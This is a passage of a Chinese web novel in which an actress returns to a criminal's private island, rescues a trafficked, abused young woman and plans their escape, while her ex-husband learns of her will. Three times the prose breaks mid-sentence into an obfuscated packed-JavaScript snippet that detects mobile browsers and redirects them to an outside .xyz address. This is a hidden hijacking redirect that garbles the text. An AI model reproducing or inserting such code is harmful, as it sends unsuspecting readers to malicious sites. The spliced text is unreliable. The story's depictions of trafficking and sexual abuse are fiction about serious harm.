那女孩戴着洁白的天鹅面具,穿着一条嫩黄色的高定晚礼服裙,胸前沟壑起伏,每一次呼吸都抖得夸张。 她的舞步显然算不上熟练,但那并不重要。她的舞伴身着白袍,视线完全被她胸口的起伏吸引,粗暴地拉扯着她旋转,欣赏不同角度灯光下乳肉饱满的形状。就这么一会儿的功夫,已经用戴满黄金宝石戒指的手有意无意地揉捏了她三次。 是只任人宰割的笨天鹅。 “Suchapity.” 耳边传来一声熟悉的笑,轻柔妩媚,随之而来的是绰约的香气。Flora惊得乱了步子,慌张的眼神穿过天鹅面具,直勾勾地望着来人,才刚看清又立刻移开。 云灯没有理她,脚尖方向一转,无比自然地从她手里夺走舞伴,把她挤出舞池边缘。 她不理解发生了什么,却没有反抗,只默默地退到更角落的地方,局促地张望。 云灯的舞跳得比她好很多,谈吐也很有智慧。一位神秘又风趣的东方美人。面前的男人起初有些兴趣,可瞥了几次那不够规模的胸廓,还是摇了摇头。 几分钟交谈足够探明他的轻重。只是个来寻欢作乐的的中东暴发户,没什么大的利害关系,否则傅谦明也不会放心让一只呆头鹅作陪。 云灯微微一笑,甚至还朝最近处的侍者勾了勾手指,等人过来,才提膝狠狠地顶向他两腿之间。 男人条件反射地佝偻起身体倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806786|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去,不可思议的脸上一片煞白。侍者小跑过来,刚好扶住了他。 “带他去傅谦明的医疗室,最好直接送到本人手里,告诉他,是谁打伤了他。” 接下去不可思议的谩骂充满口音,跟叽里咕噜的鸟语差不多。云灯听不懂又不耐烦,就补了一脚,十公分的细高跟杀伤力十足,疼得他再也讲不出话。 Flora正在舞池外目瞪口呆地望着她。云灯提了一下小腿上滑落的绑带,大发慈悲地俯身,轻声对他说,“She’smine.” 在事情闹大之前,更多侍者出现,手脚麻利地把他抬出了宴会厅。 云灯施施然走到还在发愣的女孩面前,“跟我走。” 她眨了一下眼睛,见云灯脚步不停,说完就往出口走,忙不迭地跟上去,“等等我……等等我!公主!” 她脚下踩着的鞋跟比云灯还高,驾驭起来很有难度,又心急,小跑起来简直要左右脚打架。刚一出门,就被自己绊倒,呲牙咧嘴地摔进台阶旁的花丛里。 天鹅面具摔落一旁。面具下露出的是一张经过无数次雕刻填充,几乎辨不出原本样貌的脸。 云灯恍若未闻,不扶她也不等她,径直走到不远处的喷泉旁坐下,看着她狼狈地挣扎起身,脱了不合脚的高跟鞋跑过来。 “还不算太笨。”云灯说。 她悻悻地笑了一下,是很熟悉的小心翼翼的表情,充满讨好的意味。这张陌生的脸上有了些许旧影,才变得不那么令人讨厌。 她痴痴地对着云灯笑了笑,却又很快速地转开脸。 从不久前在飞机上见到那面开始,她就一直这样,态度逃避地目光闪躲。 云灯摘下面具,问,“恨我吗?” “恨你?”她怔忪地反问,像是根本听不懂这个奇怪的问题,“不……怎么会,为什么要恨你?” “我把你自己丢在这儿,再也没回来管过你。难道不值得怨恨么。”云灯淡淡地说,“那是你新找的主人?他对你好吗?应该在你身上花了不少钱吧,难怪你宁愿假装认不出我。” Flora睁大眼睛,豆大的泪珠迅速凝结,一颗接着一颗地掉了出来。 她记得云灯不喜欢她哭,也记得云灯心情不好的时候会故意说相反的话,其实真正的内心比月亮还要皎洁温柔。她都记得。 “不是的,我是怕你不喜欢,我现在的样子。是不是很可怕?”她哽咽难抑,用手背抹掉眼泪,无措地,颠三倒四地解释,“我害怕是,是我害了你。怕,怕你是,是因为……在外面,过得不好,才回来的。” 她的思路向来都很简单。 当初是赌上一切才离开的,云灯怎么可能还会回来? 一定是外面的世界比这里还差劲,在外面受了委屈,才会回来。 那她是不是反而做了错事? 是她自告奋勇地把云灯送去了更可怕的地方。这么多年里,是她让云灯在外面受罪。 可她还是有一点不该有的开心。 离别后的思念没有一天停歇过。无数个难熬的关头,她都以为自己只有在临死前的走马灯里,才能再亲眼看一看云灯的脸。 她的公主。她的精神支柱。她迄今为止还在赖以生存的氧气。 “我不喜欢,Flora这个名字。我喜欢你给我的,名字。” 昂贵的礼服揉成一团皱巴巴的布。骆迎春跪坐在地上,低着头,用沾满泪水的脸颊蹭了一下云灯的小腿。 像被遗弃多时的小狗,终于找回了她念念不忘的旧日主人。 “我很想你的。” 53. 第 53 章 通话两端忽然变得极静。静得能听见手机通话时细微的电流声,以及叶平川浮沉不稳的呼吸。 姜渺也不太确定,在当下告诉他这些是不是正确的选择。 她可以想象叶平川听到这个答案的心情,因此体贴地没有继续说下去,想给他留出足够的情绪缓冲空间。 但不过两三秒钟,他的声音再次响起,意外的很沉着,“我现在过去。晚些时候方便见一面吗?” “……现在?也可以。”她说,“派律所的车去接你?航班号发给我就好。” “多谢。” “不用,这并不是为了你。”沉默片刻,姜渺轻声叹息,“如果不是与你有关……我想我不可能会将朋友及客户的隐私,像这样告知你。” 云灯留下的遗嘱怎么会需要他确认?答案只有一个,必然那其中提到了他。 叶平川知道不少人都会提前立遗嘱,就像他家里那位小叔。跟年龄无关,只是未雨绸缪,为有意外发生时,能给在世的亲眷多一份保障。 可她一定是预感到了什么——或者说,是做出了什么决定,才会忽然做这样的委托。 叶平川原本就有打算要飞一趟上海,只是没想到会提前一天来。 情势之下,容不得他再分心考虑旁人,他只能在候机时登陆游戏留言。 【抱歉,我有急事,见面取消吧】 【号我要了,就按市价,待会儿微信上双倍转账给你】 这是他和云灯的不同之处。即便是要爽约,他也会提前说得明明白白。 不告而别的情况在他的世界里甚少发生,因此他习惯性地将其与厌烦,排斥等等的负面情绪相连。 可是云灯的不告而别,却让他意识到,这个世界上还有很多他未曾洞察过的难言之隐。 机场的停车场里,姜渺对他说,“叶平川,你是她遗嘱的唯一受益人。” 像法官判决的那一锤,在他心上有力地定音。叶平川接过文件,却没有翻开的心思,只听着她的陈述。 “当她的死亡成为事实,你将会继承她名下的全部遗产。你们并没有任何血缘或法律上的亲属关系,说得直白一些,如果没有这份遗嘱,她身后的财产继承怎么排序都轮不到你。” 姜渺郑重道,“即使你们已经离婚了,即使以你的财务状况,可能并不需要这些东西,但她依然决定全部留给你。所以我想,她非常重视你。这是我告知你这份遗嘱存在的主要原因。” 否则她本该等到云灯死讯传来,再通知叶平川。 “虽然她不肯承认,但我能看出来,她心里一直认为自己对你有所亏欠。”姜渺说。 “可她的性格就是这样,即使对你感到亏欠,决定要去做的事也不会因此动摇。所以她想通过这种方式补偿你。” “你早就想到她会忽然消失?”叶平川敏锐地察觉。“你们彼此有很深的了解,还是……你帮助她策划了这场消失?” “我们十多岁时就认识,是关系要好的邻居。她经常在深夜来我兼职的便利店里,待到凌晨,陪我一起走夜路回家。后来她遇到了傅谦明,就忽然从我的世界里消失了,简直像是人间蒸发。所以或多或少,你现在的心情我也曾经体会过。” 姜渺望向幽暗的车窗,语气难掩失落,“我没有帮助她策划什么。她真正想做的事不会透露给任何人,只会暗地里筹划,然后寻找时机独自完成。” “作为她的朋友,我没有权力去干涉她的决定。只有等她达成所愿之后,再见到她,运气好的话,或许她会愿意向你说明一切。” 叶平川不想等。 “如果她回到傅谦明身边,”他近乎直白地问,“你认为会是为了什么?” “……什么?”姜渺隐约是有想过这个可能性,但觉得太荒谬又没有必要,并没有深思,“她没有理由回去。” “一定有一个理由。”叶平川斩钉截铁道。 她并没有口头说的那么爱钱,也不缺持续发展的资源。她和父母的关系不好,也没有别的兄弟姐妹当把柄被拿捏。 总不能是因为痴恋前男友,才去找他的吧? 叶平川在心里迅速地排除选项。那份文件被他端端正正地放在他大腿上,一只手压着,“不可能。你也看到了,她爱的人是我。” “……” 那个人身边,到底还有什么是值得她在意的? 姜渺思索片刻,“她和我提过一个重要的朋友,但那女孩几年前就已经去世了。我能感觉到,她对那个女孩有很深的感情,难道是回去替朋友……报仇?” 她觉得这假设很难成立。 云灯一直带着朋友的遗志在生活,因此很珍惜自己的生命,不会为了报复而让自己陷入危险。有些时候甚至让人觉得,她活着只是不想让朋友倾命的付出浪费,超过了自身生存的意愿。 况且她很早就得知了小花的死讯,真要报仇的话,为什么会是现在?这个时间点有什么特别的吗? “她过去的心理医生是我的朋友。私下聚餐时我们也聊起过,云灯很早就出现过解离的症状,对情绪的描述非常少,并且有近乎本能的反侦查能力,很少有医生能套出她不愿倾诉的话。” 还有一句评价,姜渺没有说出来。但叶平川已经察觉到了。 她很有可能,并不像看上去那样情绪稳定。 叶平川也听她提起过港市的朋友,但他感受到的是云灯的懊恼和自责,或许还有一部分是为了推开他而故意夸大其词,把自己讲的很坏。他并没有深刻地领悟到,那个早已不存于世的女孩对她而言究竟有多重要。 焦灼的不安在空气中蔓延。 “稍等一下。”叶平川低头看了眼手机。 姜渺些微感到振奋,“是有她的消息了吗?” “还没有。”他说得很抽象,“是来的路上签了份卖身契,在等债主确认。” “……” 话音刚落,叶鸣泽发来一张图片。 叶平川点开放大看。一张手持邀请函的照片,看得出是现拍的,关键信息齐全。是场位于私人岛屿上的派对,离岸非常远,隐秘性极强,只会向上层极少数的一部分人发放邀请。 他从没接触过这类活动。如果不是跟傅谦明扯上了关系,他甚至都没有了解的兴趣和途径。 但这或许就是云灯所在的地方。 难怪白天他觉得叶鸣泽话里有话,叽里呱啦像是要点他,如今都能联系起来了。原来是早就得到消息,只等他做出选择。 这还有什么选择的必要?他脑海中一想到云灯要在岛上大开杀戒的画面,恨不得坐火箭发射过去,“我得先走了。” 时间紧迫,他顾不上解释太多。临下车前,对姜渺说,“谢谢你告诉我这些。但我从没想过要跟她当朋友。” “即使没有立场,没有权力,我也要干涉。” ** “你的胸压得我脚都要断了。”云灯说。 骆迎春闻言连忙抬高身体,看见她裙摆的蕾丝挂住了小腿绑带上镶嵌的钻石,半跪在地小心地为她解开,又抬头露出讨好的笑。 她的脸上和身上都有很明显的科技痕迹,几乎集合了所有当下流行的项目,自拍发到ins上能和无数网红撞脸。尤其是一双超G大胸,放在她这样瘦削的身材上简直畸形,突兀得像色/情漫画里的幻想产物。 是为了迎合什么人的癖好,鬼都看得出来。 “你的新主人审美真的很土。” 她自己也觉得很奇怪,连忙点头,又小心翼翼地问,“你回来了,那我以后能继续跟着你吗?” 云灯没有回答,起身往自己的住所走。她亦步亦趋地跟,把价值不菲的高跟鞋抱在怀里,口中念念有词,“等等我,等等……” 明明很想见到她,可真见了面以后,心里只有莫名的焦躁。云灯也不太懂为什么,走进卧室里,回头才发现她站在门口,两只脚忸怩地并在一起,“我可以踩吗?” 房间里通铺地毯,柔软洁白。她一路这么光着脚走回来,肯定会把地毯踩脏的。 云灯找了双拖鞋扔到她面前,语气算不上好,“去洗澡。” 她眼睛一亮,好像根本没感受到任何恶劣的态度,乐颠颠地穿上拖鞋,进了浴室。 “……” 云灯冷冷地盯着门口那双高跟鞋,忍无可忍,走过去一脚踹飞,关上房门,气才顺了些。 骆迎春不知道她在外面小发雷霆,洗澡洗得很快乐。在云灯的浴室里,她可以放松地脱光衣服享受热水淋浴,而不用担心随时会有人闯进来,对她做粗暴的事。 唯一美中不足的是,云灯还在生她的气,洗完澡出来仍然不愿意跟她说话。 她穿着云灯的睡袍,胸口撑得很紧,呼吸不畅,又不敢说,就自己在那里憋着。云灯看见了,拿把剪刀直接把她的领口剪成深V。 冰凉的刀片贴着她的皮肤往下划,却没有伤害她分毫。距离靠近,骆迎春悄悄吸了一口气。真开心,她们身上有同样的香味。 “我没有想过要背叛你。”她鼓起勇气,对云灯解释。 “傅先生说你一个人在外面,总会有需要帮助的时候,可是他事情好多,忙不过来。如果我帮他的忙,他就能有空帮你的忙了。” “……” 云灯简直想剪开她的脑子看看里面都装了什么:“这种话你都信?” “我只是想为你做点什么。” 她小声说,“你回来了,我就知道了,他是骗我的。他根本就没有帮你对不对?那我以后就再也不为他做事了。你不要生我的气啦,好不好?” “上床睡觉。” “哦哦。” 云灯不接话,她便也不再为自己分辩什么,乖顺地爬上床尾,蜷在这张大床的角落。蜷在云灯的脚边。 她早就习惯了作为宠物生活。 云灯知道不该这样,享受她的忠诚,却又挑剔她逆来顺受。可攒动的怒火堵在胸口,久久不熄。云灯沉默了很久,才压着脾气说,“上来睡我旁边。” “啊?”脚边抬起一只脑袋,看到她身边空着的枕头,连忙又受宠若惊地应答,“哦哦。” 从前云灯压力很大的时候,偶尔也会抱着她睡觉。她身体还没有发育起来,个子小小的很适合当抱枕。她也喜欢依偎在云灯身边,偷偷嗅她怀抱里温暖的香味。那些时刻让她感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15848423|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到无比安心。 她现在长得比云灯还要高一点了,或许可以把云灯抱在怀里。但是她的胸做过两次手术,变得沉重又累赘,她看出云灯不喜欢,所以不敢贴得太近。 云灯翻了个身,她也跟着翻,面对面侧躺,已经是很幸福的距离。 黑夜里一双眼睛粘在脸上眨巴个不停,实在叫人无法忽视。云灯听到她说,“我真的很想你。” 还来不及感动,她又说,“我学了好多新东西,教我的人说男人女人都会喜欢的,我都学会了。以后我可以伺候你。” “……” 云灯说,“我房间里有监听摄像头。” 她冷不丁被吓了一跳,想要动手动脚证明自己有用的心思立刻便熄灭了,改用偷感很重的气音说话,“那这样呢?这样他们还会听到我们说话吗?” 云灯终于笑了一下,也学她用气音说,“这样不会。” 她也咧开嘴巴笑,顺势又凑近了些,很喜欢说悄悄话的氛围。可下一秒,云灯就说出让她心碎的话,“我不会再当你的主人了。” 骆迎春愣了愣,豆大的泪珠瞬间在眼眶里凝聚成形,直直地往下掉。 说哭就哭。云灯有些无奈,动作粗暴地扯被角,给她压掉泪水,“不许哭。除了主人和小狗,你没想过我们还能有别的关系吗?” “嗯……”她的情绪还沉浸在悲伤里,脑袋却已经听从指令运转起来,“其实有的时候,我会觉得,你就像我的,我的……” 她忽然有点害羞,“就像妈妈一样。” 云灯:“……” “不,你比那还要好。”她说。 她口中的云灯“像妈妈”并不是像她的亲身母亲,而是某种理想中的妈妈形象。 她在重男轻女的殴打和谩骂中长大,从小到大听得最多的称呼就是“赔钱货”,远远超过她的名字。 被亲生父母卖掉抵债时,她脑子里只有对价格不够高会被责骂的惶恐,完全没有奢望能过上更好的生活。 可云灯像公主一样降临在她的人生里,赐予了她一个可爱的名字,就像给了她崭新的人生。 她住进了华丽的大房子。云灯给她买漂亮衣服,努力工作给她买好吃的,教她怎么用洗面奶,化妆品和卫生巾。还有,抱着她睡觉,喝醉了还会唱歌给她听呢。 这都是想象中的妈妈才会做的事。云灯是最好的主人,也是最好的妈妈。 云灯说,“我最多接受你把我当成姐姐。” “哦哦,好的。”她立刻擦干眼泪,疯狂点头。 原来不是不想要她了,太好了。 无所谓什么关系,什么称呼,她并不在乎,只希望从今以后不要再分开了。她永远都想和云灯在一起。 她喜欢云灯,想为云灯做很多很多事。她希望云灯能像她一样幸福。 “我在网上看到你演的电视剧了,真好看。但是我每天只能玩手机一个小时,被关掉以后就再也找不到那个中文网页了。” 她放下心来,思路开始跳脱,忽然问云灯,“最后凶手是谁呀?是那个平日里假装好人,私下却喜欢虐待小动物的老师吗?” “……” 云灯在记忆里搜索一番,总算想到她说的是哪部剧,哭笑不得道,“不是,他是死者。你才刚看了个开头,那部剧的凶手是个连环杀人犯,专门挑坏蛋下手,替天行道。” 骆迎春睁圆了眼睛,睫毛还挂着泪珠,“哇,好酷。最后凶手被抓了吗?还是不要抓他吧……他是个好人啊。” “抓了。”云灯说,“我带队亲手抓的,无期徒刑。不抓过不了审。” 她又是一顿啧啧感叹,最后重点强调,“你演得很好看。要是我能把整部剧看完就好了。” “有什么难的?”云灯说,“我那部剧在播出平台上本来就只能试看前两集,想继续追得充值会员。你连账户都没有怎么看,明天给你注册一个。” “哦哦!怪不得呢。” 突然想到另一个人,她兴奋劲儿下去了大半,瞥着云灯的脸色说,“我还看到了另一部你的电影,是你和叶平川演的那部,只能播放几分钟。应该就是你说的,没有会员只能试看开头。” 没防备她会忽然提起叶平川,云灯不轻不重地嗯了一声。听见她用同仇敌忾的语气说,“后来我看到你们结婚的消息……他长得很好看,却是个坏人。我讨厌他。” 云灯轻嗤一声,“你怎么知道他是个坏人?你又不认识他。” “可如果他很爱你,对你很好的话,你就不会回来了。”骆迎春说。 她的想法总是纯粹简单。 “跟他无关。” 云灯轻声道,“他是个好人。” 骆迎春眨了眨眼,“那他很爱你吗?” “当然。” 云灯说,“他被我迷得要死。” “哇……”她激动得蹬了两下腿,“所以,是你抛弃了他回来的吗?哇!原来你才是那个坏女人。” “你有意见?” “没有没有,没意见。” 她笑得莫名骄傲,用下巴在云灯肩头蹭了蹭,“是坏女人也没关系,反正我还是会爱你。” 54. 第 54 章 她只担心云灯是在外面受人欺负伤了心,才不得不回来。 现在发现是云灯伤别人的心,那她就放心了。 “其实外面的世界很好。”云灯支起头,微微垂眼看着她,“比你原来想象的还要精彩,自由。” “真的吗?那你为什么还要回来呢?” “是啊,为什么呢。”云灯说,“你猜。” “嗯……是不是傅先生那里有你需要的东西?你不要自己动手呀,万一被发现怎么办。”她自告奋勇道,“我可以去帮你偷出来!” “猜错了,重新想。” “唉,我不知道。”她皱起鼻子,露出纠结的表情,“我太笨了,总是猜不到你在想什么。” 她一边说一边忍不住地挠屁股,被鞭子抽过的伤痕长起来又痛又痒。云灯伸手挑开她的睡袍,大片纵横交错的青紫色映入眼底。 怕被嫌弃不好看,她连忙扯着裙子盖上,“就快好了,再过几天就看不出来了。” “每次都挨打?” “也不是每次,但是有时候会两个人一起来。他们嫌我叫得不好听,就往我嘴里塞小球。有钱人都喜欢玩些奇怪的东西吗?”她纳闷地说。 “叶平川也会这样对你吗?他看起来也像是那种一出生就很有钱的人。” “……” 云灯道,“他不会。” 她才放心地叹了口气,“那就好。” 她的成长空间狭窄而单调,没机会建立正常的世界观,对性/爱都没什么概念,也就谈不上羞耻。只是觉得很累,其中的疼痛和窒息比起她童年时在家庭中经历过的,算是半斤八两。除此之外,没有更多感想。 不知该庆幸还是悲哀。 “外面偶尔还是会有一两个好人,”云灯说,“可这里不是,来这里的全是该下地狱的混蛋。” 她说的话总是很有道理。骆迎春习惯性地点了点头,想想却又提出一个反例,“可我就是在这里遇到你的呀。” “……你觉得我是个好人?” “当然啦。” “并不是。我只是比那群混蛋稍微强一点而已,不代表我就是个好人。” “才不是这样。” 她声音激昂起来,不受控制地变大,“你就是特别特别好啊!” 她也希望自己能拥有甜美的嗓音,但事实是一喊起来就会暴露的破铜锣嗓,非常破坏氛围。 “闭嘴。”果然云灯也不喜欢,“瞎喊什么?” 她蔫巴巴地哦了一声,半晌没有下文,还以为就要这样入睡,才又听见云灯的声音。 “你不会再回到他们身边了。从明天开始,你跟着我。” “好!!”她条件反射,激动得大喊,反应过来立刻捂住嘴巴,小声地说,“好的。” “……” 看不见的角度里,她听见头顶传来一声无奈的笑,“睡觉吧。” 她用力地点头,完全忘记了被转移的话题和跌宕起伏的情绪,得到想要的答案就开心地睡着,还打起了小呼噜。 云灯又看了她很久,一直看到她熟睡中不老实地翻身踢被子,才勉强把这副新面孔看顺眼,躺下来轻轻拍了拍她的背。 第二天清晨,她们不出意外地被请去和傅谦明共进早餐。 骆迎春很忐忑。因为她美美睡完一觉才想到,云灯昨夜为了带走她出手伤人,事情恐怕还没完。 她跟着云灯坐到餐桌边,偷偷瞥傅谦明的神色。他表面上看起来跟平常一样,甚至还关心了一下她的胃口如何。 受宠若惊的同时,她感到不明所以的战栗,便只默默地埋头苦吃。 “我还以为,你已经对她完全失去兴趣了呢。”傅谦明笑道,“毕竟从昨天上岛开始,你一句都没有提起过她。” “我只是非常讨厌别人动我的东西。”云灯冷淡地说。 “不想要的玩具,不想养的宠物,就算扔了,杀了,也不会给别人玩。你难道不记得了吗?” 她没有任何做错事的愧疚和不安,反而表现得更像是那个被伤害,被辜负的人。 这样的表现令傅谦明尤为满意,语气宠溺道,“是我的疏忽。既然你不开心,今后就还让Flora回到你身边,随你怎么处置吧。” “她这个样子也太丑了,等回到港市,再重新给她约整形医生。” “当然。随你喜欢。” 云灯哼了一声,勉强算是被哄好,端起面前的咖啡啜了一口。 昨晚的事算是过去了。跟她预想的一样,那土大款不是什么重要人物。至少傅谦明压在他身上的筹码,没有她身上的多。 傅谦明想利用她多年经营的人脉及她和叶平川的关系,打开国内市场。用Flora来试探她回来的意愿,只是抛砖引玉的示好而已,不见得是认为这女孩对她有多重要。 毕竟那年她“离家出走”,可是毫不犹豫地把人留下当靶子的。 她的逃离被傅谦明定性为青春期的叛逆。他很笃定她会回来。这份笃定是深刻在骨子里的自大,从始至终,他都不认为她真的能舍弃这里的财富。 他审视着云灯的脸,没有错过任何一个表情。 除了昨晚在舞会上忽然动手,她的表现没有露出破绽。 他对继承人的评估必须慎重且苛刻。云灯不是他心中唯一的人选,但是最好把控的一个。 因为她是个女人,和他之间曾经有过一段浪漫的关系。那段关系使得云灯偶尔会对他使使小性子,但不要紧,他能从其中收获的东西,必定比解决这点小麻烦付出的要多。 毕竟,人类也是会有雏鸟情节的动物。 云灯在他的巢穴中成长。她是什么样的姑娘,对他有着怎样的依赖,他再清楚不过。甚至可以说,是他亲手造就了今天的云灯,这个贪婪,虚荣,自私的女人。 多么像他。 他的继承人就该有永不满足的野心。 今夜的宴会更加盛大,有重要客人会来玩,需要傅谦明亲自接待。整座岛屿有条不紊地忙碌着,她们坐摆渡车经过高尔夫球场,看到有人正在修正草坪。 “我不会打高尔夫球,还有网球,骑马,很多运动我都不会,我只会游泳。可他们非我要陪着玩,就喜欢看我出丑,用我听不懂的话笑我。” 看到大片绿茵茵的草地,骆迎春郁闷地回忆起心理阴影,“有一次我被罚脱光衣服躺在草坪上,忽然很想尿尿。可他们去玩别的,把我忘在这里了,我又不敢自己走掉,就翻了个身脸朝下趴着,偷偷尿在草里。” “……” 云灯说,“那现在去看,说不定还能找着呢。” “怎么找呢?”她好奇地问。 “看哪片草长得高就是了。” “哇,”她由衷地赞叹,“你真聪明。” 云灯都不知道该怜惜她,还是该羡慕她。这世上没几个人,能有这种苦中作乐的本领。 岛上开建了不少新的游乐设施,各种会馆翻新,还模拟儿童乐园建了过山车和摩天轮,旋转木马被涂上彩虹的颜色。 至于他们会在可爱的旋转木马上做什么,云灯不愿细想。 建成后骆迎春还没坐过,原本是想拉着她一起去玩的。但看云灯有点嫌弃的样子,就没有开口。 她其实并不擅长察言观色,仅仅只是擅长观察云灯一个人而已。彼此陪伴的几个年头里,她了解云灯超过了解自己。 就比如今天,她看出云灯没有多少玩的兴致,偶尔还会走神,可能心思并不在这儿。 但了解归了解,她脑子不够使。因此只能看出表象,而无法思考更深层的缘由。 可能是天太热了吧,影响心情。她想。 云灯说前几天拍戏的时候还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876158|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在下雪呢。 岛上甚至还有个小动物园,里面养着狮子,斑马和羊驼,海洋馆里还有水母和海豚。但骆迎春喜欢陆地动物,经过这里时就忍不住多待一待,兴冲冲地拿胡萝卜喂兔子和羊驼。 云灯从来都对动物不感兴趣,觉得脏兮兮的气味难闻,但还是蹲下来陪她玩。 “要是能在房间里养一只就好了,每天睡醒都能摸到,不用跑这么远才能见面。” 她对羊驼爱不释手,喂了一会儿却又说,“还是算了。房间里哪有地方给它们跑呀,还是这里比较自由,有同伴可以一起玩儿。” 云灯听着她自言自语地嘀咕,目光越过动物园区,望向远处。动物园位于岛上活动区域的侧后方,再往后就是火葬场。 这样一座梦幻天堂般的岛屿,沉积着数不清的罪恶,日复一日的海浪都冲刷不干净。她想到自己曾经做过的噩梦,大概也只有让这里彻底沉没,她的罪恶感才能平息。 她们都不打算再继续参观下去,乘车绕回到沙滩,跳进无边泳池里玩水。玩累了,云灯趴在充气浮板上,眺望隔海相对的居民岛。 碧蓝的海面微微起伏,几乎没什么风浪,像是连着泳池,延伸到天边。距离这里最近的居民岛只有百十海里,送货的普通渔船两三个小时就能到。 骆迎春在旁边拿着她的手机追剧,看得津津有味,时不时还要和她讨论剧情。 “你知道我以前都为傅谦明做过什么事吗?”云灯闲聊似的问她。 “嗯……不太清楚。” “其中有一项任务是,我要替他把那些出事的女孩的遗物送回家,见她们的亲人,安抚和赔钱。至于死因,我会编一个能接受的谎话,各种工作途中发生的意外。可我们双方心里都知道那不是真的。”云灯说。 大部分人拿了钱就会装糊涂就此了事,只有很少的父母会情绪激动,想要继续追究。但只要追加赔偿金,其中绝大多数的人就会偃旗息鼓,甚至遗憾自己没有多生一个女儿拿去换钱。 那些女孩有相当一部分是为了分担家庭债务,才上岛供人玩弄的。她们也渴望自己的付出能够得到怜爱和认同,但事实是她们死后都没有资格埋进祖坟。 直面人性中阴暗恶劣的部分总是不容易。她起初也痛骂过,崩溃过,但不知从什么时候开始,竟然可以当成任务麻木地完成。 骆迎春放下手机,“怪不得你以前回家,总是看起来很累。” “你有没有想过,自己也可能成为她们中的一员?” “想过。但是,我的家人不要我,就算把我的骨灰送回去,他们也不会认我的。”她认真地说,“我早就已经不把他们当家人了。如果我死了也会赔钱的话,就全部给你拿着。不要给别人喔。” “……” 对于这些司空见惯的东西,她不觉得提前讨论一下有什么奇怪。在这个世界上,真正在意她,和她相关的人只有云灯了。她能留下的东西当然要全都给云灯的。 云灯问,“那有没有想过跟我离开这里?虽然不会赔钱,但能让你活得更久。” 骆迎春初时没有理解这句话,反应过来瞬间瞪大了眼,心脏开始狂跳。 “可是……”她鬼鬼祟祟地朝四周望了一圈,压低声音,“可是我们要怎么离开这里呢?我们没有飞机也没有船。” 她只知道从这里回港市要坐飞机还要坐船,需要很长时间才能看到陆地。忧心忡忡道,“傅先生会发现的,他派更快的船追我们怎么办呢?” “你什么时候开始担心这么多了?”云灯说,“我会安排的。你只需要考虑愿不愿意。” “我当然愿意跟你走了!”她振奋道。 是啊,什么时候用得到她操心呢?云灯这么厉害,一定是有了很好的主意。她只要听话就好了,“那我们什么时候走呢?” 云灯说,“今天。” 55. 第 55 章 “今天?!”骆迎春惊呼。 “嗯,今晚。会有船来接我们。” 海岛天气多变,转眼间艳阳潜入云层,海面就要掀起狂风暴雨。 云灯把她从泳池里拉出来。两人披着浴巾在遮阳棚下躲雨,她仍旧感到混乱,不可思议,“今晚就走?你已经拿到想要的东西了?那我们……再也不回来了吗?” “对。再也不回来了。” 她足足愣了一分钟,才由衷地发出赞叹,接受了这个安排,“哇,那是很好很好了。” “出去之后想做什么?”云灯问她。 “跟着你呀。”她毫不犹豫地回答。 “都告诉过你了,以后我不再是你的主人,你也不用事事都听我的。”云灯说,“外面天高开阔,想做什么都可以,你要学会自己安排生活。” “哦……” 她似懂非懂地点了点头,又小心地问,“可是一开始呢,一开始我还是可以先跟着你的吧?我觉得我会有点害怕。” 云灯是不喜欢她太粘人的,这点她知道。但她从未设想过离开这里的生活,也不知道自己该做什么,能做什么。 崭新的人生画卷在她眼前展开,是一片茫然的空白。 突如其来的自由叫人有些不知所措。她还没有做好独立生活的准备。 “我想……去外面的动物园里看看。”她想了半天,说,“我看到网上的视频,外面有超级大的草原动物园,可以坐车进去,还可以跟长颈鹿合影。是真的吗?我想和你一起去。” “是真的。”云灯道,“不过你得先把假体取出来,否则到时候被动物追,你想逃命都跑不动。” 她不好意思地笑起来,抱着硕大的胸,“确实很重诶。”别说跑步了,她连呼吸都有点费力。 “还有别的么?” “我还想……去电影院里看你的电影!” “可以。” “还有剧组,我想去看看你拍戏的地方。”她兴奋地问,“你会带我去见叶平川吗?我好想亲眼看看跟你结婚的人,是不是真的长得像电影里一样帅?” 云灯说,“本人更帅。” 骆迎春又开始嘿嘿地傻笑,露出cp粉的经典表情,“他是个什么样的人?我以前以为你会和傅先生结婚,后来又不太希望那样。再后来,我以为你永远都不会结婚,永远都自由自在的……为什么选他呢?你很喜欢他吧?” “嗯,他很可爱。”云灯托着下巴,看雨点把泳池水面打得乱七八糟。或许是错觉,她的表情看起来有点惆怅。 “如果他是一只小狗就好了,那我就可以把他带在身边,走到哪里都带着。” “那等我们出去以后,去找他就好了呀。”骆迎春想当然道。 “他可能在生我的气。” 